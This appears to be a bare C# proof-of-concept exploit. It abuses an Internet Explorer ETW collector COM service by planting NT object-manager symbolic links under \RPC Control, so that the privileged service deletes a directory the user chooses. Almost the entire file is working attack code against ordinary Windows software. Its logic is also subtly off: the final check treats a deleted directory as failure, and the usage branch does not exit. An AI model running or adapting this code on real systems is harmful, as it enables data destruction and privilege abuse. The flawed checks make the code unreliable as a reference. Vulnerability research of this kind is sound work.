using Microsoft.Win32.SafeHandles; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Runtime.InteropServices; using System.Security.AccessControl; namespace NS { class Program { [Flags] public enum AttributeFlags : uint { None = 0, Inherit = 0x00000002, Permanent = 0x00000010, Exclusive = 0x00000020, CaseInsensitive = 0x00000040, OpenIf = 0x00000080, OpenLink = 0x00000100, KernelHandle = 0x00000200, ForceAccessCheck = 0x00000400, IgnoreImpersonatedDevicemap = 0x00000800, DontReparse = 0x00001000, } [Flags] public enum GenericAccessRights : uint { None = 0, GenericRead = 0x80000000, GenericWrite = 0x40000000, GenericExecute = 0x20000000, GenericAll = 0x10000000, Delete = 0x00010000, ReadControl = 0x00020000, WriteDac = 0x00040000, WriteOwner = 0x00080000, Synchronize = 0x00100000, MaximumAllowed = 0x02000000, }; [Flags] enum DirectoryAccessRights : uint { Query = 1, Traverse = 2, CreateObject = 4, CreateSubDirectory = 8, GenericRead = 0x80000000, GenericWrite = 0x40000000, GenericExecute = 0x20000000, GenericAll = 0x10000000, Delete = 0x00010000, ReadControl = 0x00020000, WriteDac = 0x00040000, WriteOwner = 0x00080000, Synchronize = 0x00100000, MaximumAllowed = 0x02000000, } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public sealed class UnicodeString { ushort Length; ushort MaximumLength; [MarshalAs(UnmanagedType.LPWStr)] string Buffer; public UnicodeString(string str) { Length = (ushort)(str.Length * 2); MaximumLength = (ushort)((str.Length * 2) + 1); Buffer = str; } } [DllImport("ntdll.dll")] static extern int NtClose(IntPtr handle); public sealed class SafeKernelObjectHandle : SafeHandleZeroOrMinusOneIsInvalid { public SafeKernelObjectHandle() : base(true) { } public SafeKernelObjectHandle(IntPtr handle, bool owns_handle) : base(owns_handle) { SetHandle(handle); } protected override bool ReleaseHandle() { if (!IsInvalid) { NtClose(this.handle); this.handle = IntPtr.Zero; return true; } return false; } } public enum SecurityImpersonationLevel { Anonymous = 0, Identification = 1, Impersonation = 2, Delegation = 3 } public enum SecurityContextTrackingMode : byte { Static = 0, Dynamic = 1 } [StructLayout(LayoutKind.Sequential)] public sealed class SecurityQualityOfService { int Length; public SecurityImpersonationLevel ImpersonationLevel; public SecurityContextTrackingMode ContextTrackingMode; [MarshalAs(UnmanagedType.U1)] public bool EffectiveOnly; public SecurityQualityOfService() { Length = Marshal.SizeOf(this); } } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public sealed class ObjectAttributes : IDisposable { int Length; IntPtr RootDirectory; IntPtr ObjectName; AttributeFlags Attributes; IntPtr SecurityDescriptor; IntPtr SecurityQualityOfService; private static IntPtr AllocStruct(object s) { int size = Marshal.SizeOf(s); IntPtr ret = Marshal.AllocHGlobal(size); Marshal.StructureToPtr(s, ret, false); return ret; } private static void FreeStruct(ref IntPtr p, Type struct_type) { Marshal.DestroyStructure(p, struct_type); Marshal.FreeHGlobal(p); p = IntPtr.Zero; } public ObjectAttributes() : this(AttributeFlags.None) { } public ObjectAttributes(string object_name, AttributeFlags attributes) : this(object_name, attributes, null, null, null) { } public ObjectAttributes(AttributeFlags attributes) : this(null, attributes, null, null, null) { } public ObjectAttributes(string object_name) : this(object_name, AttributeFlags.CaseInsensitive, null, null, null) { } public ObjectAttributes(string object_name, AttributeFlags attributes, SafeKernelObjectHandle root, SecurityQualityOfService sqos, GenericSecurityDescriptor security_descriptor) { Length = Marshal.SizeOf(this); if (object_name != null) { ObjectName = AllocStruct(new UnicodeString(object_name)); } Attributes = attributes; if (sqos != null) { SecurityQualityOfService = AllocStruct(sqos); } if (root != null) RootDirectory = root.DangerousGetHandle(); if (security_descriptor != null) { byte[] sd_binary = new byte[security_descriptor.BinaryLength]; security_descriptor.GetBinaryForm(sd_binary, 0); SecurityDescriptor = Marshal.AllocHGlobal(sd_binary.Length); Marshal.Copy(sd_binary, 0, SecurityDescriptor, sd_binary.Length); } } public void Dispose() { if (ObjectName != IntPtr.Zero) { FreeStruct(ref ObjectName, typeof(UnicodeString)); } if (SecurityQualityOfService != IntPtr.Zero) { FreeStruct(ref SecurityQualityOfService, typeof(SecurityQualityOfService)); } if (SecurityDescriptor != IntPtr.Zero) { Marshal.FreeHGlobal(SecurityDescriptor); SecurityDescriptor = IntPtr.Zero; } GC.SuppressFinalize(this); } ~ObjectAttributes() { Dispose(); } } public static void StatusToNtException(int status) { if (status < 0) { throw new NtException(status); } } public class NtException : ExternalException { [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern IntPtr GetModuleHandle(string modulename); [Flags] enum FormatFlags { AllocateBuffer = 0x00000100, FromHModule = 0x00000800, FromSystem = 0x00001000, IgnoreInserts = 0x00000200 } [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern int FormatMessage( FormatFlags dwFlags, IntPtr lpSource, int dwMessageId, int dwLanguageId, out IntPtr lpBuffer, int nSize, IntPtr Arguments ); [DllImport("kernel32.dll")] private static extern IntPtr LocalFree(IntPtr p); private static string StatusToString(int status) { IntPtr buffer = IntPtr.Zero; try { if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts, GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0) { return Marshal.PtrToStringUni(buffer); } } finally { if (buffer != IntPtr.Zero) { LocalFree(buffer); } } return String.Format("Unknown Error: 0x{0:X08}", status); } public NtException(int status) : base(StatusToString(status)) { } } [DllImport("ntdll.dll")] static extern int NtCreateDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes); [DllImport("ntdll.dll")] static extern int NtOpenDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes); static SafeKernelObjectHandle CreateDirectory(SafeKernelObjectHandle root, string path) { using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, root, null, null)) { IntPtr handle; StatusToNtException(NtCreateDirectoryObject(out handle, DirectoryAccessRights.GenericAll, obja)); return new SafeKernelObjectHandle(handle, true); } } static SafeKernelObjectHandle OpenDirectory(string path) { using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive)) { IntPtr handle; StatusToNtException(NtOpenDirectoryObject(out handle, DirectoryAccessRights.MaximumAllowed, obja)); return new SafeKernelObjectHandle(handle, true); } } [DllImport("ntdll.dll")] static extern int NtCreateSymbolicLinkObject( out IntPtr LinkHandle, GenericAccessRights DesiredAccess, ObjectAttributes ObjectAttributes, UnicodeString DestinationName ); static SafeKernelObjectHandle CreateSymbolicLink(SafeKernelObjectHandle directory, string path, string target) { using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, directory, null, null)) { IntPtr handle; StatusToNtException(NtCreateSymbolicLinkObject(out handle, GenericAccessRights.MaximumAllowed, obja, new UnicodeString(target))); return new SafeKernelObjectHandle(handle, true); } } static List CreateChainForPath(SafeKernelObjectHandle root, string path) { string[] parts = path.Split('\\'); List ret = new List(); ret.Add(root); foreach (string part in parts) { ret.Add(CreateDirectory(ret.Last(), part)); } return ret; } [DllImport("ole32.dll")] static extern int CoInitializeSecurity( IntPtr pSecDesc, int cAuthSvc, IntPtr asAuthSvc, IntPtr pReserved1, int dwAuthnLevel, int dwImpLevel, IntPtr pAuthList, int dwCapabilities, IntPtr pReserved3 ); /* Memory Size: 56 */ [StructLayout(LayoutKind.Sequential)] struct CreateCollectionSessionRequestData { /* Offset: 0 */ public IntPtr AgentName; /* Offset: 8 */ public Guid AgentClsid; /* Offset: 24 */ public IntPtr LogName; /* Offset: 32 */ public Guid LogGuid; /* Offset: 48 */ public short Member4; }; /* Memory Size: 16 */ [StructLayout(LayoutKind.Sequential)] struct CreateCollectionSessionReplyData { /* Offset: 0 */ public long Member0; /* Offset: 8 */ public long Member1; }; /* Memory Size: 16 */ [StructLayout(LayoutKind.Sequential)] struct Struct_0 { /* Offset: 0 */ public IntPtr Member0; /* Offset: 8 */ public int Member1; }; [ComImport, Guid("72e78ac2-a1ff-4c6e-be0b-2ca619b2b59b"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IIEEtwCollector { void CreateCollectionSession( /* Stack Offset: 8 */ [In] IIEEtwCollectorHost p0, /* Stack Offset: 16 */ [In] ref CreateCollectionSessionRequestData p1, /* Stack Offset: 24 */ [Out] out IIEEtwCollectorSession p2, /* Stack Offset: 32 */ out CreateCollectionSessionReplyData p3); } [Guid("f74b1266-ff39-4b62-8b6b-29c09920852c"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), ComImport] interface IIEEtwCollectorHost { void Proc3(/* Stack Offset: 8 */ [In] ref Guid p0, /* Stack Offset: 16 */ [In] ref Struct_0 p1); void Proc4(/* Stack Offset: 8 */ [In] ref Guid p0, /* Stack Offset: 16 */ [In] [MarshalAs(UnmanagedType.LPWStr)] string p1); } [Guid("ab8ee4b6-26ec-42d4-a7fc-06b4fb10e67a"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), ComImport] interface IIEEtwCollectorSession { void Proc3(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] /* enum */ short p1); void Proc4(); void Proc5(/* Stack Offset: 8 */ [Out] [MarshalAs(UnmanagedType.BStr)] out string p0); void Proc6(/* Stack Offset: 8 */ [In] ref Guid p0, /* Stack Offset: 16 */ [In] ref Guid p1, /* Stack Offset: 24 */ [Out] /* iid_is param offset: 16 */ [MarshalAs(UnmanagedType.IUnknown)] out object p2); void Proc7();///* Stack Offset: 8 */ [In] struct Struct_2[]* p0, /* Stack Offset: 16 */ [In] int p1, /* Stack Offset: 24 */ [In, Out] struct Struct_3[]* p2); } [ComVisible(true)] class Host : IIEEtwCollectorHost { public void Proc3([In] ref Guid p0, [In] ref Struct_0 p1) { throw new NotImplementedException(); } public void Proc4([In] ref Guid p0, [In, MarshalAs(UnmanagedType.LPWStr)] string p1) { throw new NotImplementedException(); } } static void Main(string[] args) { try { if (args.Length < 1) { Console.WriteLine("Usage: dir_to_delete"); } string dir_to_delete = Path.GetFullPath(args[0]); if (!Directory.Exists(dir_to_delete)) { throw new Exception(String.Format("Directory {0} doesn't exist", dir_to_delete)); } int hr = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, 0, 3, IntPtr.Zero, 0, IntPtr.Zero); if (hr != 0) { Marshal.ThrowExceptionForHR(hr); } Type t = Type.GetTypeFromCLSID(new Guid("6CF9B800-50DB-46B5-9218-EACF07F5E414")); IIEEtwCollector collector = (IIEEtwCollector)Activator.CreateInstance(t); var dirs = CreateChainForPath(OpenDirectory(@"\??"), @"GLOBALROOT\RPC Control"); SafeKernelObjectHandle symlink = CreateSymbolicLink(dirs.Last(), @"xyz", @"\??\" + Path.GetTempPath()); try { Directory.Delete(Path.GetTempPath() + Guid.Empty.ToString()); } catch (IOException) { } CreateCollectionSessionRequestData request = new CreateCollectionSessionRequestData(); request.LogName = Marshal.StringToBSTR(@"\\?\GLOBALROOT\RPC Control\xyz"); var dirs2 = CreateChainForPath(OpenDirectory(@"\RPC Control"), "xyz"); var symlink2 = CreateSymbolicLink(dirs2.Last(), Guid.Empty.ToString(), @"\??\" + dir_to_delete); request.LogGuid = Guid.Empty; request.AgentName = Marshal.StringToBSTR("abc.dll"); request.AgentClsid = Guid.Empty; IIEEtwCollectorSession session; CreateCollectionSessionReplyData reply; try { Console.WriteLine("Attemping to delete {0}", dir_to_delete); collector.CreateCollectionSession(new Host(), ref request, out session, out reply); } catch (Exception) { } if (!Directory.Exists(dir_to_delete)) { throw new Exception(String.Format("Deleting directory {0} failed", dir_to_delete)); } Console.WriteLine("[SUCCESS]: Deleted target directory"); } catch (Exception ex) { Console.WriteLine("[ERROR]: {0}", ex.Message); } } } }